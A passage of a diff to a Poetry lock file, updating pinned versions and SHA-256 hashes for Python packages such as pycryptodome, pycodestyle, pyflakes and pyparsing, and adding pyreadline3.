"prompt_toolkit-3.0.48-py3-none-any.whl", hash = "sha256:f49a827f90062e411f1ce1f854f2aedb3c23353244f8108b89283587397ac10e"}, + {file = "prompt_toolkit-3.0.48.tar.gz", hash = "sha256:d6623ab0477a80df74e646bdbc93621143f5caf104206aa29294d53de1a03d90"}, ] [package.dependencies] @@ -1580,13 +1630,13 @@ pyasn1 = ">=0.4.6,<0.6.0" [[package]] name = "pycodestyle" -version = "2.9.1" +version = "2.12.1" description = "Python style guide checker" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" files = [ - {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, - {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, + {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, + {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, ] [[package]] @@ -1602,95 +1652,95 @@ files = [ [[package]] name = "pycryptodome" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:417a276aaa9cb3be91f9014e9d18d10e840a7a9b9a9be64a42f553c5b50b4d1d"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a1250b7ea809f752b68e3e6f3fd946b5939a52eaeea18c73bdab53e9ba3c2dd"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:d5954acfe9e00bc83ed9f5cb082ed22c592fbbef86dc48b907238be64ead5c33"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:06d6de87c19f967f03b4cf9b34e538ef46e99a337e9a61a77dbe44b2cbcf0690"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:ec0bb1188c1d13426039af8ffcb4dbe3aad1d7680c35a62d8eaf2a529b5d3d4f"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5601c934c498cd267640b57569e73793cb9a83506f7c73a8ec57a516f5b0b091"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d29daa681517f4bc318cd8a23af87e1f2a7bad2fe361e8aa29c77d652a065de4"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3427d9e5310af6680678f4cce149f54e0bb4af60101c7f2c16fdf878b39ccccc"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:3cd3ef3aee1079ae44afaeee13393cf68b1058f70576b11439483e34f93cf818"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac1c7c0624a862f2e53438a15c9259d1655325fc2ec4392e66dc46cdae24d044"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:76658f0d942051d12a9bd08ca1b6b34fd762a8ee4240984f7c06ddfb55eaf15a"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f35d6cee81fa145333137009d9c8ba90951d7d77b67c79cbe5f03c7eb74d8fe2"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76cb39afede7055127e35a444c1c041d2e8d2f1f9c121ecef573757ba4cd2c3c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49a4c4dc60b78ec41d2afa392491d788c2e06edf48580fbfb0dd0f828af49d25"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fb3b87461fa35afa19c971b0a2b7456a7b1db7b4eba9a8424666104925b78128"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:acc2614e2e5346a4a4eab6e199203034924313626f9620b7b4b38e9ad74b7e0c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:210ba1b647837bfc42dd5a813cdecb5b86193ae11a3f5d972b9a0ae2c7e9e4b4"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win32.whl", hash = "sha256:8d6b98d0d83d21fb757a182d52940d028564efe8147baa9ce0f38d057104ae72"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:9b3ae153c89a480a0ec402e23db8d8d84a3833b65fa4b15b81b83be9d637aab9"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:4401564ebf37dfde45d096974c7a159b52eeabd9969135f0426907db367a652a"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:ec1f93feb3bb93380ab0ebf8b859e8e5678c0f010d2d78367cf6bc30bfeb148e"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:acae12b9ede49f38eb0ef76fdec2df2e94aad85ae46ec85be3648a57f0a7db04"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f47888542a0633baff535a04726948e876bf1ed880fddb7c10a736fa99146ab3"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e0e4a987d38cfc2e71b4a1b591bae4891eeabe5fa0f56154f576e26287bfdea"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c18b381553638414b38705f07d1ef0a7cf301bc78a5f9bc17a957eb19446834b"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a60fedd2b37b4cb11ccb5d0399efe26db9e0dd149016c1cc6c8161974ceac2d6"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:405002eafad114a2f9a930f5db65feef7b53c4784495dd8758069b89baf68eab"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ab6ab0cb755154ad14e507d1df72de9897e99fd2d4922851a276ccc14f4f1a5"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:acf6e43fa75aca2d33e93409f2dafe386fe051818ee79ee8a3e21de9caa2ac9e"}, - {file = "pycryptodome-3.20.0.tar.gz", hash = "sha256:09609209ed7de61c2b560cc5c8c4fbf892f8b15b1faf7e4cbffac97db1fffda7"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dad9bf36eda068e89059d1f07408e397856be9511d7113ea4b586642a429a4fd"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a1752eca64c60852f38bb29e2c86fca30d7672c024128ef5d70cc15868fa10f4"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:3ba4cc304eac4d4d458f508d4955a88ba25026890e8abff9b60404f76a62c55e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cb087b8612c8a1a14cf37dd754685be9a8d9869bed2ffaaceb04850a8aeef7e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:26412b21df30b2861424a6c6d5b1d8ca8107612a4cfa4d0183e71c5d200fb34a"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:cc2269ab4bce40b027b49663d61d816903a4bd90ad88cb99ed561aadb3888dd3"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0fa0a05a6a697ccbf2a12cec3d6d2650b50881899b845fac6e87416f8cb7e87d"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:6cce52e196a5f1d6797ff7946cdff2038d3b5f0aba4a43cb6bf46b575fd1b5bb"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a915597ffccabe902e7090e199a7bf7a381c5506a747d5e9d27ba55197a2c568"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e74c522d630766b03a836c15bff77cb657c5fdf098abf8b1ada2aebc7d0819"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:a3804675283f4764a02db05f5191eb8fec2bb6ca34d466167fc78a5f05bbe6b3"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:2480ec2c72438430da9f601ebc12c518c093c13111a5c1644c82cdfc2e50b1e4"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:de18954104667f565e2fbb4783b56667f30fb49c4d79b346f52a29cb198d5b6b"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2de4b7263a33947ff440412339cb72b28a5a4c769b5c1ca19e33dd6cd1dcec6e"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0714206d467fc911042d01ea3a1847c847bc10884cf674c82e12915cfe1649f8"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d85c1b613121ed3dbaa5a97369b3b757909531a959d229406a75b912dd51dd1"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8898a66425a57bcf15e25fc19c12490b87bd939800f39a03ea2de2aea5e3611a"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:932c905b71a56474bff8a9c014030bc3c882cee696b448af920399f730a650c2"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:18caa8cfbc676eaaf28613637a89980ad2fd96e00c564135bf90bc3f0b34dd93"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win32.whl", hash = "sha256:280b67d20e33bb63171d55b1067f61fbd932e0b1ad976b3a184303a3dad22764"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b7aa25fc0baa5b1d95b7633af4f5f1838467f1815442b22487426f94e0d66c53"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2cb635b67011bc147c257e61ce864879ffe6d03342dc74b6045059dfbdedafca"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:4c26a2f0dc15f81ea3afa3b0c87b87e501f235d332b7f27e2225ecb80c0b1cdd"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:d5ebe0763c982f069d3877832254f64974139f4f9655058452603ff559c482e8"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ee86cbde706be13f2dec5a42b52b1c1d1cbb90c8e405c68d0755134735c8dc6"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0fd54003ec3ce4e0f16c484a10bc5d8b9bd77fa662a12b85779a2d2d85d67ee0"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:5dfafca172933506773482b0e18f0cd766fd3920bd03ec85a283df90d8a17bc6"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:590ef0898a4b0a15485b05210b4a1c9de8806d3ad3d47f74ab1dc07c67a6827f"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f35e442630bc4bc2e1878482d6f59ea22e280d7121d7adeaedba58c23ab6386b"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff99f952db3db2fbe98a0b355175f93ec334ba3d01bbde25ad3a5a33abc02b58"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8acd7d34af70ee63f9a849f957558e49a98f8f1634f86a59d2be62bb8e93f71c"}, + {file = "pycryptodome-3.21.0.tar.gz", hash = "sha256:f7787e0d469bdae763b876174cf2e6c0f7be79808af26b1da96f1a64bcf47297"}, ] [[package]] name = "pycryptodomex" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pycryptodomex-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:645bd4ca6f543685d643dadf6a856cc382b654cc923460e3a10a49c1b3832aeb"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ff5c9a67f8a4fba4aed887216e32cbc48f2a6fb2673bb10a99e43be463e15913"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:8ee606964553c1a0bc74057dd8782a37d1c2bc0f01b83193b6f8bb14523b877b"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7805830e0c56d88f4d491fa5ac640dfc894c5ec570d1ece6ed1546e9df2e98d6"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:bc3ee1b4d97081260d92ae813a83de4d2653206967c4a0a017580f8b9548ddbc"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:8af1a451ff9e123d0d8bd5d5e60f8e3315c3a64f3cdd6bc853e26090e195cdc8"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:cbe71b6712429650e3883dc81286edb94c328ffcd24849accac0a4dbcc76958a"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:76bd15bb65c14900d98835fcd10f59e5e0435077431d3a394b60b15864fddd64"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:653b29b0819605fe0898829c8ad6400a6ccde096146730c2da54eede9b7b8baa"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62a5ec91388984909bb5398ea49ee61b68ecb579123694bffa172c3b0a107079"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:108e5f1c1cd70ffce0b68739c75734437c919d2eaec8e85bffc2c8b4d2794305"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:59af01efb011b0e8b686ba7758d59cf4a8263f9ad35911bfe3f416cee4f5c08c"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:82ee7696ed8eb9a82c7037f32ba9b7c59e51dda6f105b39f043b6ef293989cb3"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91852d4480a4537d169c29a9d104dda44094c78f1f5b67bca76c29a91042b623"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bca649483d5ed251d06daf25957f802e44e6bb6df2e8f218ae71968ff8f8edc4"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e186342cfcc3aafaad565cbd496060e5a614b441cacc3995ef0091115c1f6c5"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:25cd61e846aaab76d5791d006497134602a9e451e954833018161befc3b5b9ed"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:9c682436c359b5ada67e882fec34689726a09c461efd75b6ea77b2403d5665b7"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a7a8f33a1f1fb762ede6cc9cbab8f2a9ba13b196bfaf7bc6f0b39d2ba315a43"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win32.whl", hash = "sha256:c39778fd0548d78917b61f03c1fa8bfda6cfcf98c767decf360945fe6f97461e"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:2a47bcc478741b71273b917232f521fd5704ab4b25d301669879e7273d3586cc"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1be97461c439a6af4fe1cf8bf6ca5936d3db252737d2f379cc6b2e394e12a458"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:19764605feea0df966445d46533729b645033f134baeb3ea26ad518c9fdf212c"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e497413560e03421484189a6b65e33fe800d3bd75590e6d78d4dfdb7accf3b"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48217c7901edd95f9f097feaa0388da215ed14ce2ece803d3f300b4e694abea"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d00fe8596e1cc46b44bf3907354e9377aa030ec4cd04afbbf6e899fc1e2a7781"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88afd7a3af7ddddd42c2deda43d53d3dfc016c11327d0915f90ca34ebda91499"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d3584623e68a5064a04748fb6d76117a21a7cb5eaba20608a41c7d0c61721794"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0daad007b685db36d977f9de73f61f8da2a7104e20aca3effd30752fd56f73e1"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5dcac11031a71348faaed1f403a0debd56bf5404232284cf8c761ff918886ebc"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69138068268127cd605e03438312d8f271135a33140e2742b417d027a0539427"}, - {file = "pycryptodomex-3.20.0.tar.gz", hash = "sha256:7a710b79baddd65b806402e14766c721aee8fb83381769c27920f26476276c1e"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, + {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, ] [[package]] name = "pyflakes" -version = "2.5.0" +version = "3.2.0" description = "passive checker of Python programs" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" files = [ - {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, - {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, + {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, + {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, ] [[package]] @@ -1779,13 +1829,13 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.1.2" +version = "3.2.0" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false -python-versions = ">=3.6.8" +python-versions = ">=3.9" files = [ - {file = "pyparsing-3.1.2-py3-none-any.whl", hash = "sha256:f9db75911801ed778fe61bb643079ff86601aca99fcae6345aa67292038fb742"}, - {file = "pyparsing-3.1.2.tar.gz", hash = "sha256:a1bac0ce561155ecc3ed78ca94d3c9378656ad4c94c1270de543f621420f94ad"}, + {file = "pyparsing-3.2.0-py3-none-any.whl", hash = "sha256:93d9577b88da0bbea8cc8334ee8b918ed014968fd2ec383e868fb8afb1ccef84"}, + {file = "pyparsing-3.2.0.tar.gz", hash = "sha256:cbf74e27246d595d9a74b186b810f6fbb86726dbf3b9532efb343f6d7294fe9c"}, ] [package.extras] @@ -1843,6 +1893,20 @@ tqdm = "*" unicrypto = ">=0.0.10,<=0.1.0" winacl = ">=0.1.9,<=0.2.0" +[[package]] +name = "pyreadline3" +version = "3.5.4" +description = "A python implementation of GNU readline." +optional = false +python-versions = ">=3.8" +files = [ + {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, + {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, +] + +[package.extras] +dev = ["build", "flake8", "mypy", "pytest", "twine"] + [[package]] name = "pyspnego" version = "0.11.1" @@ -1913,13 